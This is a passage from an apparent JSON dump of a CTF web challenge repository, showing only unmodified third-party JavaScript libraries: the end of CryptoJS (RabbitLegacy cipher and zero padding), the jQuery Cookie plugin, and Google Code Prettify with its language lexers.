0;\n\t        this._b = (C[7] >>> 0) < (C_[7] >>> 0) ? 1 : 0;\n\n\t        // Calculate the g-values\n\t        for (var i = 0; i < 8; i++) {\n\t            var gx = X[i] + C[i];\n\n\t            // Construct high and low argument for squaring\n\t            var ga = gx & 0xffff;\n\t            var gb = gx >>> 16;\n\n\t            // Calculate high and low result of squaring\n\t            var gh = ((((ga * ga) >>> 17) + ga * gb) >>> 15) + gb * gb;\n\t            var gl = (((gx & 0xffff0000) * gx) | 0) + (((gx & 0x0000ffff) * gx) | 0);\n\n\t            // High XOR low\n\t            G[i] = gh ^ gl;\n\t        }\n\n\t        // Calculate new state values\n\t        X[0] = (G[0] + ((G[7] << 16) | (G[7] >>> 16)) + ((G[6] << 16) | (G[6] >>> 16))) | 0;\n\t        X[1] = (G[1] + ((G[0] << 8)  | (G[0] >>> 24)) + G[7]) | 0;\n\t        X[2] = (G[2] + ((G[1] << 16) | (G[1] >>> 16)) + ((G[0] << 16) | (G[0] >>> 16))) | 0;\n\t        X[3] = (G[3] + ((G[2] << 8)  | (G[2] >>> 24)) + G[1]) | 0;\n\t        X[4] = (G[4] + ((G[3] << 16) | (G[3] >>> 16)) + ((G[2] << 16) | (G[2] >>> 16))) | 0;\n\t        X[5] = (G[5] + ((G[4] << 8)  | (G[4] >>> 24)) + G[3]) | 0;\n\t        X[6] = (G[6] + ((G[5] << 16) | (G[5] >>> 16)) + ((G[4] << 16) | (G[4] >>> 16))) | 0;\n\t        X[7] = (G[7] + ((G[6] << 8)  | (G[6] >>> 24)) + G[5]) | 0;\n\t    }\n\n\t    /**\n\t     * Shortcut functions to the cipher's object interface.\n\t     *\n\t     * @example\n\t     *\n\t     *     var ciphertext = CryptoJS.RabbitLegacy.encrypt(message, key, cfg);\n\t     *     var plaintext  = CryptoJS.RabbitLegacy.decrypt(ciphertext, key, cfg);\n\t     */\n\t    C.RabbitLegacy = StreamCipher._createHelper(RabbitLegacy);\n\t}());\n\n\n\t/**\n\t * Zero padding strategy.\n\t */\n\tCryptoJS.pad.ZeroPadding = {\n\t    pad: function (data, blockSize) {\n\t        // Shortcut\n\t        var blockSizeBytes = blockSize * 4;\n\n\t        // Pad\n\t        data.clamp();\n\t        data.sigBytes += blockSizeBytes - ((data.sigBytes % blockSizeBytes) || blockSizeBytes);\n\t    },\n\n\t    unpad: function (data) {\n\t        // Shortcut\n\t        var dataWords = data.words;\n\n\t        // Unpad\n\t        var i = data.sigBytes - 1;\n\t        while (!((dataWords[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff)) {\n\t            i--;\n\t        }\n\t        data.sigBytes = i + 1;\n\t    }\n\t};\n\n\n\treturn CryptoJS;\n\n}));"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/javascript/jquery.cookie.js",
    "content": "/*!\n * jQuery Cookie Plugin v1.4.0\n * https://github.com/carhartl/jquery-cookie\n *\n * Copyright 2013 Klaus Hartl\n * Released under the MIT license\n */\n(function(c){\"function\"===typeof define&&define.amd?define([\"jquery\"],c):c(jQuery)})(function(c){function m(b){return f.raw?b:encodeURIComponent(b)}function n(b,e){var a;if(f.raw)a=b;else a:{var d=b;0===d.indexOf('\"')&&(d=d.slice(1,-1).replace(/\\\\\"/g,'\"').replace(/\\\\\\\\/g,\"\\\\\"));try{d=decodeURIComponent(d.replace(l,\" \"));a=f.json?JSON.parse(d):d;break a}catch(g){}a=void 0}return c.isFunction(e)?e(a):a}var l=/\\+/g,f=c.cookie=function(b,e,a){if(void 0!==e&&!c.isFunction(e)){a=c.extend({},f.defaults,\n\ta);if(\"number\"===typeof a.expires){var d=a.expires,g=a.expires=new Date;g.setDate(g.getDate()+d)}return document.cookie=[m(b),\"=\",m(f.json?JSON.stringify(e):String(e)),a.expires?\"; expires=\"+a.expires.toUTCString():\"\",a.path?\"; path=\"+a.path:\"\",a.domain?\"; domain=\"+a.domain:\"\",a.secure?\"; secure\":\"\"].join(\"\")}a=b?void 0:{};for(var d=document.cookie?document.cookie.split(\"; \"):[],g=0,l=d.length;g<l;g++){var h=d[g].split(\"=\"),k;k=h.shift();k=f.raw?k:decodeURIComponent(k);h=h.join(\"=\");if(b&&b===k){a=\n\tn(h,e);break}b||void 0===(h=n(h))||(a[k]=h)}return a};f.defaults={};c.removeCookie=function(b,e){if(void 0===c.cookie(b))return!1;c.cookie(b,\"\",c.extend({},e,{expires:-1}));return!c.cookie(b)}});\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/static/javascript/prettify.js",
    "content": "!function(){var q=null;window.PR_SHOULD_USE_CONTINUATION=!0;\n(function(){function S(a){function d(e){var b=e.charCodeAt(0);if(b!==92)return b;var a=e.charAt(1);return(b=r[a])?b:\"0\"<=a&&a<=\"7\"?parseInt(e.substring(1),8):a===\"u\"||a===\"x\"?parseInt(e.substring(2),16):e.charCodeAt(1)}function g(e){if(e<32)return(e<16?\"\\\\x0\":\"\\\\x\")+e.toString(16);e=String.fromCharCode(e);return e===\"\\\\\"||e===\"-\"||e===\"]\"||e===\"^\"?\"\\\\\"+e:e}function b(e){var b=e.substring(1,e.length-1).match(/\\\\u[\\dA-Fa-f]{4}|\\\\x[\\dA-Fa-f]{2}|\\\\[0-3][0-7]{0,2}|\\\\[0-7]{1,2}|\\\\[\\S\\s]|[^\\\\]/g),e=[],a=\nb[0]===\"^\",c=[\"[\"];a&&c.push(\"^\");for(var a=a?1:0,f=b.length;a<f;++a){var h=b[a];if(/\\\\[bdsw]/i.test(h))c.push(h);else{var h=d(h),l;a+2<f&&\"-\"===b[a+1]?(l=d(b[a+2]),a+=2):l=h;e.push([h,l]);l<65||h>122||(l<65||h>90||e.push([Math.max(65,h)|32,Math.min(l,90)|32]),l<97||h>122||e.push([Math.max(97,h)&-33,Math.min(l,122)&-33]))}}e.sort(function(e,a){return e[0]-a[0]||a[1]-e[1]});b=[];f=[];for(a=0;a<e.length;++a)h=e[a],h[0]<=f[1]+1?f[1]=Math.max(f[1],h[1]):b.push(f=h);for(a=0;a<b.length;++a)h=b[a],c.push(g(h[0])),\nh[1]>h[0]&&(h[1]+1>h[0]&&c.push(\"-\"),c.push(g(h[1])));c.push(\"]\");return c.join(\"\")}function s(e){for(var a=e.source.match(/\\[(?:[^\\\\\\]]|\\\\[\\S\\s])*]|\\\\u[\\dA-Fa-f]{4}|\\\\x[\\dA-Fa-f]{2}|\\\\\\d+|\\\\[^\\dux]|\\(\\?[!:=]|[()^]|[^()[\\\\^]+/g),c=a.length,d=[],f=0,h=0;f<c;++f){var l=a[f];l===\"(\"?++h:\"\\\\\"===l.charAt(0)&&(l=+l.substring(1))&&(l<=h?d[l]=-1:a[f]=g(l))}for(f=1;f<d.length;++f)-1===d[f]&&(d[f]=++x);for(h=f=0;f<c;++f)l=a[f],l===\"(\"?(++h,d[h]||(a[f]=\"(?:\")):\"\\\\\"===l.charAt(0)&&(l=+l.substring(1))&&l<=h&&\n(a[f]=\"\\\\\"+d[l]);for(f=0;f<c;++f)\"^\"===a[f]&&\"^\"!==a[f+1]&&(a[f]=\"\");if(e.ignoreCase&&m)for(f=0;f<c;++f)l=a[f],e=l.charAt(0),l.length>=2&&e===\"[\"?a[f]=b(l):e!==\"\\\\\"&&(a[f]=l.replace(/[A-Za-z]/g,function(a){a=a.charCodeAt(0);return\"[\"+String.fromCharCode(a&-33,a|32)+\"]\"}));return a.join(\"\")}for(var x=0,m=!1,j=!1,k=0,c=a.length;k<c;++k){var i=a[k];if(i.ignoreCase)j=!0;else if(/[a-z]/i.test(i.source.replace(/\\\\u[\\da-f]{4}|\\\\x[\\da-f]{2}|\\\\[^UXux]/gi,\"\"))){m=!0;j=!1;break}}for(var r={b:8,t:9,n:10,v:11,\nf:12,r:13},n=[],k=0,c=a.length;k<c;++k){i=a[k];if(i.global||i.multiline)throw Error(\"\"+i);n.push(\"(?:\"+s(i)+\")\")}return RegExp(n.join(\"|\"),j?\"gi\":\"g\")}function T(a,d){function g(a){var c=a.nodeType;if(c==1){if(!b.test(a.className)){for(c=a.firstChild;c;c=c.nextSibling)g(c);c=a.nodeName.toLowerCase();if(\"br\"===c||\"li\"===c)s[j]=\"\\n\",m[j<<1]=x++,m[j++<<1|1]=a}}else if(c==3||c==4)c=a.nodeValue,c.length&&(c=d?c.replace(/\\r\\n?/g,\"\\n\"):c.replace(/[\\t\\n\\r ]+/g,\" \"),s[j]=c,m[j<<1]=x,x+=c.length,m[j++<<1|1]=\na)}var b=/(?:^|\\s)nocode(?:\\s|$)/,s=[],x=0,m=[],j=0;g(a);return{a:s.join(\"\").replace(/\\n$/,\"\"),d:m}}function H(a,d,g,b){d&&(a={a:d,e:a},g(a),b.push.apply(b,a.g))}function U(a){for(var d=void 0,g=a.firstChild;g;g=g.nextSibling)var b=g.nodeType,d=b===1?d?a:g:b===3?V.test(g.nodeValue)?a:d:d;return d===a?void 0:d}function C(a,d){function g(a){for(var j=a.e,k=[j,\"pln\"],c=0,i=a.a.match(s)||[],r={},n=0,e=i.length;n<e;++n){var z=i[n],w=r[z],t=void 0,f;if(typeof w===\"string\")f=!1;else{var h=b[z.charAt(0)];\nif(h)t=z.match(h[1]),w=h[0];else{for(f=0;f<x;++f)if(h=d[f],t=z.match(h[1])){w=h[0];break}t||(w=\"pln\")}if((f=w.length>=5&&\"lang-\"===w.substring(0,5))&&!(t&&typeof t[1]===\"string\"))f=!1,w=\"src\";f||(r[z]=w)}h=c;c+=z.length;if(f){f=t[1];var l=z.indexOf(f),B=l+f.length;t[2]&&(B=z.length-t[2].length,l=B-f.length);w=w.substring(5);H(j+h,z.substring(0,l),g,k);H(j+h+l,f,I(w,f),k);H(j+h+B,z.substring(B),g,k)}else k.push(j+h,w)}a.g=k}var b={},s;(function(){for(var g=a.concat(d),j=[],k={},c=0,i=g.length;c<i;++c){var r=\ng[c],n=r[3];if(n)for(var e=n.length;--e>=0;)b[n.charAt(e)]=r;r=r[1];n=\"\"+r;k.hasOwnProperty(n)||(j.push(r),k[n]=q)}j.push(/[\\S\\s]/);s=S(j)})();var x=d.length;return g}function v(a){var d=[],g=[];a.tripleQuotedStrings?d.push([\"str\",/^(?:'''(?:[^'\\\\]|\\\\[\\S\\s]|''?(?=[^']))*(?:'''|$)|\"\"\"(?:[^\"\\\\]|\\\\[\\S\\s]|\"\"?(?=[^\"]))*(?:\"\"\"|$)|'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$)|\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$))/,q,\"'\\\"\"]):a.multiLineStrings?d.push([\"str\",/^(?:'(?:[^'\\\\]|\\\\[\\S\\s])*(?:'|$)|\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)|`(?:[^\\\\`]|\\\\[\\S\\s])*(?:`|$))/,\nq,\"'\\\"`\"]):d.push([\"str\",/^(?:'(?:[^\\n\\r'\\\\]|\\\\.)*(?:'|$)|\"(?:[^\\n\\r\"\\\\]|\\\\.)*(?:\"|$))/,q,\"\\\"'\"]);a.verbatimStrings&&g.push([\"str\",/^@\"(?:[^\"]|\"\")*(?:\"|$)/,q]);var b=a.hashComments;b&&(a.cStyleComments?(b>1?d.push([\"com\",/^#(?:##(?:[^#]|#(?!##))*(?:###|$)|.*)/,q,\"#\"]):d.push([\"com\",/^#(?:(?:define|e(?:l|nd)if|else|error|ifn?def|include|line|pragma|undef|warning)\\b|[^\\n\\r]*)/,q,\"#\"]),g.push([\"str\",/^<(?:(?:(?:\\.\\.\\/)*|\\/?)(?:[\\w-]+(?:\\/[\\w-]+)+)?[\\w-]+\\.h(?:h|pp|\\+\\+)?|[a-z]\\w*)>/,q])):d.push([\"com\",\n/^#[^\\n\\r]*/,q,\"#\"]));a.cStyleComments&&(g.push([\"com\",/^\\/\\/[^\\n\\r]*/,q]),g.push([\"com\",/^\\/\\*[\\S\\s]*?(?:\\*\\/|$)/,q]));if(b=a.regexLiterals){var s=(b=b>1?\"\":\"\\n\\r\")?\".\":\"[\\\\S\\\\s]\";g.push([\"lang-regex\",RegExp(\"^(?:^^\\\\.?|[+-]|[!=]=?=?|\\\\#|%=?|&&?=?|\\\\(|\\\\*=?|[+\\\\-]=|->|\\\\/=?|::?|<<?=?|>>?>?=?|,|;|\\\\?|@|\\\\[|~|{|\\\\^\\\\^?=?|\\\\|\\\\|?=?|break|case|continue|delete|do|else|finally|instanceof|return|throw|try|typeof)\\\\s*(\"+(\"/(?=[^/*\"+b+\"])(?:[^/\\\\x5B\\\\x5C\"+b+\"]|\\\\x5C\"+s+\"|\\\\x5B(?:[^\\\\x5C\\\\x5D\"+b+\"]|\\\\x5C\"+\ns+\")*(?:\\\\x5D|$))+/\")+\")\")])}(b=a.types)&&g.push([\"typ\",b]);b=(\"\"+a.keywords).replace(/^ | $/g,\"\");b.length&&g.push([\"kwd\",RegExp(\"^(?:\"+b.replace(/[\\s,]+/g,\"|\")+\")\\\\b\"),q]);d.push([\"pln\",/^\\s+/,q,\" \\r\\n\\t\\u00a0\"]);b=\"^.[^\\\\s\\\\w.$@'\\\"`/\\\\\\\\]*\";a.regexLiterals&&(b+=\"(?!s*/)\");g.push([\"lit\",/^@[$_a-z][\\w$@]*/i,q],[\"typ\",/^(?:[@_]?[A-Z]+[a-z][\\w$@]*|\\w+_t\\b)/,q],[\"pln\",/^[$_a-z][\\w$@]*/i,q],[\"lit\",/^(?:0x[\\da-f]+|(?:\\d(?:_\\d+)*\\d*(?:\\.\\d*)?|\\.\\d\\+)(?:e[+-]?\\d+)?)[a-z]*/i,q,\"0123456789\"],[\"pln\",/^\\\\[\\S\\s]?/,\nq],[\"pun\",RegExp(b),q]);return C(d,g)}function J(a,d,g){function b(a){var c=a.nodeType;if(c==1&&!x.test(a.className))if(\"br\"===a.nodeName)s(a),a.parentNode&&a.parentNode.removeChild(a);else for(a=a.firstChild;a;a=a.nextSibling)b(a);else if((c==3||c==4)&&g){var d=a.nodeValue,i=d.match(m);if(i)c=d.substring(0,i.index),a.nodeValue=c,(d=d.substring(i.index+i[0].length))&&a.parentNode.insertBefore(j.createTextNode(d),a.nextSibling),s(a),c||a.parentNode.removeChild(a)}}function s(a){function b(a,c){var d=\nc?a.cloneNode(!1):a,e=a.parentNode;if(e){var e=b(e,1),g=a.nextSibling;e.appendChild(d);for(var i=g;i;i=g)g=i.nextSibling,e.appendChild(i)}return d}for(;!a.nextSibling;)if(a=a.parentNode,!a)return;for(var a=b(a.nextSibling,0),d;(d=a.parentNode)&&d.nodeType===1;)a=d;c.push(a)}for(var x=/(?:^|\\s)nocode(?:\\s|$)/,m=/\\r\\n?|\\n/,j=a.ownerDocument,k=j.createElement(\"li\");a.firstChild;)k.appendChild(a.firstChild);for(var c=[k],i=0;i<c.length;++i)b(c[i]);d===(d|0)&&c[0].setAttribute(\"value\",d);var r=j.createElement(\"ol\");\nr.className=\"linenums\";for(var d=Math.max(0,d-1|0)||0,i=0,n=c.length;i<n;++i)k=c[i],k.className=\"L\"+(i+d)%10,k.firstChild||k.appendChild(j.createTextNode(\"\\u00a0\")),r.appendChild(k);a.appendChild(r)}function p(a,d){for(var g=d.length;--g>=0;){var b=d[g];F.hasOwnProperty(b)?D.console&&console.warn(\"cannot override language handler %s\",b):F[b]=a}}function I(a,d){if(!a||!F.hasOwnProperty(a))a=/^\\s*</.test(d)?\"default-markup\":\"default-code\";return F[a]}function K(a){var d=a.h;try{var g=T(a.c,a.i),b=g.a;\na.a=b;a.d=g.d;a.e=0;I(d,b)(a);var s=/\\bMSIE\\s(\\d+)/.exec(navigator.userAgent),s=s&&+s[1]<=8,d=/\\n/g,x=a.a,m=x.length,g=0,j=a.d,k=j.length,b=0,c=a.g,i=c.length,r=0;c[i]=m;var n,e;for(e=n=0;e<i;)c[e]!==c[e+2]?(c[n++]=c[e++],c[n++]=c[e++]):e+=2;i=n;for(e=n=0;e<i;){for(var p=c[e],w=c[e+1],t=e+2;t+2<=i&&c[t+1]===w;)t+=2;c[n++]=p;c[n++]=w;e=t}c.length=n;var f=a.c,h;if(f)h=f.style.display,f.style.display=\"none\";try{for(;b<k;){var l=j[b+2]||m,B=c[r+2]||m,t=Math.min(l,B),A=j[b+1],G;if(A.nodeType!==1&&(G=x.substring(g,\nt))){s&&(G=G.replace(d,\"\\r\"));A.nodeValue=G;var L=A.ownerDocument,o=L.createElement(\"span\");o.className=c[r+1];var v=A.parentNode;v.replaceChild(o,A);o.appendChild(A);g<l&&(j[b+1]=A=L.createTextNode(x.substring(t,l)),v.insertBefore(A,o.nextSibling))}g=t;g>=l&&(b+=2);g>=B&&(r+=2)}}finally{if(f)f.style.display=h}}catch(u){D.console&&console.log(u&&u.stack||u)}}var D=window,y=[\"break,continue,do,else,for,if,return,while\"],E=[[y,\"auto,case,char,const,default,double,enum,extern,float,goto,inline,int,long,register,short,signed,sizeof,static,struct,switch,typedef,union,unsigned,void,volatile\"],\n\"catch,class,delete,false,import,new,operator,private,protected,public,this,throw,true,try,typeof\"],M=[E,\"alignof,align_union,asm,axiom,bool,concept,concept_map,const_cast,constexpr,decltype,delegate,dynamic_cast,explicit,export,friend,generic,late_check,mutable,namespace,nullptr,property,reinterpret_cast,static_assert,static_cast,template,typeid,typename,using,virtual,where\"],N=[E,\"abstract,assert,boolean,byte,extends,final,finally,implements,import,instanceof,interface,null,native,package,strictfp,super,synchronized,throws,transient\"],\nO=[N,\"as,base,by,checked,decimal,delegate,descending,dynamic,event,fixed,foreach,from,group,implicit,in,internal,into,is,let,lock,object,out,override,orderby,params,partial,readonly,ref,sbyte,sealed,stackalloc,string,select,uint,ulong,unchecked,unsafe,ushort,var,virtual,where\"],E=[E,\"debugger,eval,export,function,get,null,set,undefined,var,with,Infinity,NaN\"],P=[y,\"and,as,assert,class,def,del,elif,except,exec,finally,from,global,import,in,is,lambda,nonlocal,not,or,pass,print,raise,try,with,yield,False,True,None\"],\nQ=[y,\"alias,and,begin,case,class,def,defined,elsif,end,ensure,false,in,module,next,nil,not,or,redo,rescue,retry,self,super,then,true,undef,unless,until,when,yield,BEGIN,END\"],W=[y,\"as,assert,const,copy,drop,enum,extern,fail,false,fn,impl,let,log,loop,match,mod,move,mut,priv,pub,pure,ref,self,static,struct,true,trait,type,unsafe,use\"],y=[y,\"case,done,elif,esac,eval,fi,function,in,local,set,then,until\"],R=/^(DIR|FILE|vector|(de|priority_)?queue|list|stack|(const_)?iterator|(multi)?(set|map)|bitset|u?(int|float)\\d*)\\b/,\nV=/\\S/,X=v({keywords:[M,O,E,\"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END\",P,Q,y],hashComments:!0,cStyleComments:!0,multiLineStrings:!0,regexLiterals:!0}),F={};p(X,[\"default-code\"]);p(C([],[[\"pln\",/^[^<?]+/],[\"dec\",/^<!\\w[^>]*(?:>|$)/],[\"com\",/^<\\!--[\\S\\s]*?(?:--\\>|$)/],[\"lang-\",/^<\\?([\\S\\s]+?)(?:\\?>|$)/],[\"lang-\",/^<%([\\S\\s]+?)(?:%>|$)/],[\"pun\",/^(?:<[%?]|[%?]>)/],[\"lang-\",\n/^<xmp\\b[^>]*>([\\S\\s]+?)<\\/xmp\\b[^>]*>/i],[\"lang-js\",/^<script\\b[^>]*>([\\S\\s]*?)(<\\/script\\b[^>]*>)/i],[\"lang-css\",/^<style\\b[^>]*>([\\S\\s]*?)(<\\/style\\b[^>]*>)/i],[\"lang-in.tag\",/^(<\\/?[a-z][^<>]*>)/i]]),[\"default-markup\",\"htm\",\"html\",\"mxml\",\"xhtml\",\"xml\",\"xsl\"]);p(C([[\"pln\",/^\\s+/,q,\" \\t\\r\\n\"],[\"atv\",/^(?:\"[^\"]*\"?|'[^']*'?)/,q,\"\\\"'\"]],[[\"tag\",/^^<\\/?[a-z](?:[\\w-.:]*\\w)?|\\/?>$/i],[\"atn\",/^(?!style[\\s=]|on)[a-z](?:[\\w:-]*\\w)?/i],[\"lang-uq.val\",/^=\\s*([^\\s\"'>]*(?:[^\\s\"'/>]|\\/(?=\\s)))/],[\"pun\",/^[/<->]+/],\n[\"lang-js\",/^on\\w+\\s*=\\s*\"([^\"]+)\"/i],[\"lang-js\",/^on\\w+\\s*=\\s*'([^']+)'/i],[\"lang-js\",/^on\\w+\\s*=\\s*([^\\s\"'>]+)/i],[\"lang-css\",/^style\\s*=\\s*\"([^\"]+)\"/i],[\"lang-css\",/^style\\s*=\\s*'([^']+)'/i],[\"lang-css\",/^style\\s*=\\s*([^\\s\"'>]+)/i]]),[\"in.tag\"]);p(C([],[[\"atv\",/^[\\S\\s]+/]]),[\"uq.val\"]);p(v({keywords:M,hashComments:!0,cStyleComments:!0,types:R}),[\"c\",\"cc\",\"cpp\",\"cxx\",\"cyc\",\"m\"]);p(v({keywords:\"null,true,false\"}),[\"json\"]);p(v({keywords:O,hashComments:!0,cStyleComments:!0,verbatimStrings:!0,types:R}),\n[\"cs\"]);p(v({keywords:N,cStyleComments:!0}),[\"java\"]);p(v({keywords:y,hashComments:!0,multiLineStrings:!0}),[\"bash\",\"bsh\",\"csh\",\"sh\"]);p(v({keywords:P,hashComments:!0,multiLineStrings:!0,tripleQuotedStrings:!0}),[\"cv\",\"py\",\"python\"]);p(v({keywords:\"caller,delete,die,do,dump,elsif,eval,exit,foreach,for,goto,if,import,last,local,my,next,no,our,print,package,redo,require,sub,undef,unless,until,use,wantarray,while,BEGIN,END\",hashComments:!0,multiLineStrings:!0,regexLiterals:2}),[\"perl\",\"pl\",\"pm\"]);p(v({keywords:Q,\nhashComments:!0,multiLineStrings:!0,regexLiterals:!0}),[\"rb\",\"ruby\"]);p(v({keywords:E,cStyleComments:!0,regexLiterals:!0}),[\"javascript\",\"js\"]);p(v({keywords:\"all,and,by,catch,class,else,extends,false,finally,for,if,in,is,isnt,loop,new,no,not,null,of,off,on,or,return,super,then,throw,true,try,unless,until,when,while,yes\",hashComments:3,cStyleComments:!0,multilineStrings:!0,tripleQuotedStrings:!0,regexLiterals:!0}),[\"coffee\"]);p(v({keywords:W,cStyleComments:!0,multilineStrings:!0}),[\"rc\",\"rs\",\"rust\"]);\np(C([],[[\"str\",/^[\\S\\s]+/]]),[\"regex\"]);var Y=D.PR={createSimpleLexer:C,registerLangHandler:p,sourceDecorator:v,PR_ATTRIB_NAME:\"atn\",PR_ATTRIB_VALUE:\"atv\",PR_COMMENT:\"com\",PR_DECLARATION:\"dec\",PR_KEYWORD:\"kwd\",PR_LITERAL:\"lit\",PR_NOCODE:\"nocode\",PR_PLAIN:\"pln\",PR_PUNCTUATION:\"pun\",PR_SOURCE:\"src\",PR_STRING:\"str\",PR_TAG:\"tag\",PR_TYPE:\"typ\",prettyPrintOne:D.prettyPrintOne=function(a,d,g){var b=document.createElement(\"div\");b.innerHTML=\"<pre>\"+a+\"</pre>\";b=b.firstChild;g&&J(b,g,!0);K({h:d,j:g,c:b,i:1});\nreturn b.innerHTML},prettyPrint:D.prettyPrint=function(a,d){function g(){for(var b=D.PR_SHOULD_USE_CONTINUATION?c.now()+250:Infinity;i<p.length&&c.now()<b;i++){for(var d=p[i],j=h,k=d;k=k.previousSibling;){var m=k.nodeType,o=(m===7||m===8)&&k.nodeValue;if(o?!/^\\??prettify\\b/.test(o):m!==3||/\\S/.test(k.nodeValue))break;if(o){j={};o.replace(/\\b(\\w+)=([\\w%+\\-.:]+)/g,function(a,b,c){j[b]=c});break}}k=d.className;if((j!==h||e.test(k))&&!v.test(k)){m=!1;for(o=d.parentNode;o;o=o.parentNode)if(f.test(o.tagName)&&\no.className&&e.test(o.className)){m=!0;break}if(!m){d.className+=\" prettyprinted\";m=j.lang;if(!m){var m=k.match(n),y;if(!m&&(y=U(d))&&t.test(y.tagName))m=y.className.match(n);m&&(m=m[1])}if(w.test(d.tagName))o=1;else var o=d.currentStyle,u=s.defaultView,o=(o=o?o.whiteSpace:u&&u.getComputedStyle?u.getComputedStyle(d,q).getPropertyValue(\"white-space\"):0)&&\"pre\"===o.substring(0,3);u=j.linenums;if(!(u=u===\"true\"||+u))u=(u=k.match(/\\blinenums\\b(?::(\\d+))?/))?u[1]&&u[1].length?+u[1]:!0:!1;u&&J(d,u,o);r=\n{h:m,c:d,j:u,i:o};K(r)}}}i<p.length?setTimeout(g,250):\"function\"===typeof a&&a()}for(var b=d||document.body,s=b.ownerDocument||document,b=[b.getElementsByTagName(\"pre\"),b.getElementsByTagName(\"code\"),b.getElementsByTagName(\"xmp\")],p=[],m=0;m<b.length;++m)for(var j=0,k=b[m].length;j<k;++j)p.push(b[m][j]);var b=q,c=Date;c.now||(c={now:function(){return+new Date}});var i=0,r,n=/\\blang(?:uage)?-([\\w.]+)(?!\\S)/,e=/\\bprettyprint\\b/,v=/\\bprettyprinted\\b/,w=/pre|xmp/i,t=/^code$/i,f=/^(?:pre|code|xmp)$/i,\nh={};g()}};typeof define===\"function\"&&define.amd&&define(\"google-code-prettify\",[],function(){return Y})})();}()\n\n// lang-apollo.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"com\",/^#[^\\n\\r]*/,null,\"#\"],[\"pln\",/^[\\t\\n\\r \\xa0]+/,null,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,null,'\"']],[[\"kwd\",/^(?:ADS|AD|AUG|BZF|BZMF|CAE|CAF|CA|CCS|COM|CS|DAS|DCA|DCOM|DCS|DDOUBL|DIM|DOUBLE|DTCB|DTCF|DV|DXCH|EDRUPT|EXTEND|INCR|INDEX|NDX|INHINT|LXCH|MASK|MSK|MP|MSU|NOOP|OVSK|QXCH|RAND|READ|RELINT|RESUME|RETURN|ROR|RXOR|SQUARE|SU|TCR|TCAA|OVSK|TCF|TC|TS|WAND|WOR|WRITE|XCH|XLQ|XXALQ|ZL|ZQ|ADD|ADZ|SUB|SUZ|MPY|MPR|MPZ|DVP|COM|ABS|CLA|CLZ|LDQ|STO|STQ|ALS|LLS|LRS|TRA|TSQ|TMI|TOV|AXT|TIX|DLY|INP|OUT)\\s/,\nnull],[\"typ\",/^(?:-?GENADR|=MINUS|2BCADR|VN|BOF|MM|-?2CADR|-?[1-6]DNADR|ADRES|BBCON|[ES]?BANK=?|BLOCK|BNKSUM|E?CADR|COUNT\\*?|2?DEC\\*?|-?DNCHAN|-?DNPTR|EQUALS|ERASE|MEMORY|2?OCT|REMADR|SETLOC|SUBRO|ORG|BSS|BES|SYN|EQU|DEFINE|END)\\s/,null],[\"lit\",/^'(?:-*(?:\\w|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?)?/],[\"pln\",/^-*(?:[!-z]|\\\\[!-~])(?:[\\w-]*|\\\\[!-~])[!=?]?/],[\"pun\",/^[^\\w\\t\\n\\r \"'-);\\\\\\xa0]+/]]),[\"apollo\",\"agc\",\"aea\"]);\n\n// lang-basic.js\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"str\",/^\"(?:[^\\n\\r\"\\\\]|\\\\.)*(?:\"|$)/,a,'\"'],[\"pln\",/^\\s+/,a,\" \\r\\n\\t\\u00a0\"]],[[\"com\",/^REM[^\\n\\r]*/,a],[\"kwd\",/^\\b(?:AND|CLOSE|CLR|CMD|CONT|DATA|DEF ?FN|DIM|END|FOR|GET|GOSUB|GOTO|IF|INPUT|LET|LIST|LOAD|NEW|NEXT|NOT|ON|OPEN|OR|POKE|PRINT|READ|RESTORE|RETURN|RUN|SAVE|STEP|STOP|SYS|THEN|TO|VERIFY|WAIT)\\b/,a],[\"pln\",/^[a-z][^\\W_]?(?:\\$|%)?/i,a],[\"lit\",/^(?:\\d+(?:\\.\\d*)?|\\.\\d+)(?:e[+-]?\\d+)?/i,a,\"0123456789\"],[\"pun\",\n/^.[^\\s\\w\"$%.]*/,a]]),[\"basic\",\"cbm\"]);\n\n// lang-clj.js\n/*\n Copyright (C) 2011 Google Inc.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n*/\nvar a=null;\nPR.registerLangHandler(PR.createSimpleLexer([[\"opn\",/^[([{]+/,a,\"([{\"],[\"clo\",/^[)\\]}]+/,a,\")]}\"],[\"com\",/^;[^\\n\\r]*/,a,\";\"],[\"pln\",/^[\\t\\n\\r \\xa0]+/,a,\"\\t\\n\\r \\u00a0\"],[\"str\",/^\"(?:[^\"\\\\]|\\\\[\\S\\s])*(?:\"|$)/,a,'\"']],[[\"kwd\",/^(?:def|if|do|let|quote|var|fn|loop|recur|throw|try|monitor-enter|monitor-exit|defmacro|defn|defn-|macroexpand|macroexpand-1|for|doseq|dosync|dotimes|and|or|when|not|assert|doto|proxy|defstruct|first|rest|cons|defprotocol|deftype|defrecord|reify|defmulti|defmethod|meta|with-meta|ns|in-ns|create-ns|import|intern|refer|alias|namespace|resolve|ref|deref|refset|new|set!|memfn|to-array|into-array|aset|gen-class|reduce|map|filter|find|nil?|empty?|hash-map|hash-set|vec|vector|seq|flatten|reverse|assoc|dissoc|list|list?|disj|get|union|difference|intersection|extend|extend-type|extend-protocol|prn)\\b/,a],\n[\"typ\",/^:[\\dA-Za-z-]+/]]),[\"clj\"]);\n\n// lang-css.js\nPR.registerLangHandler(PR.createSimpleLexer([[\"pln\",/^[\\t\\n\\f\\r ]+/,null,\" 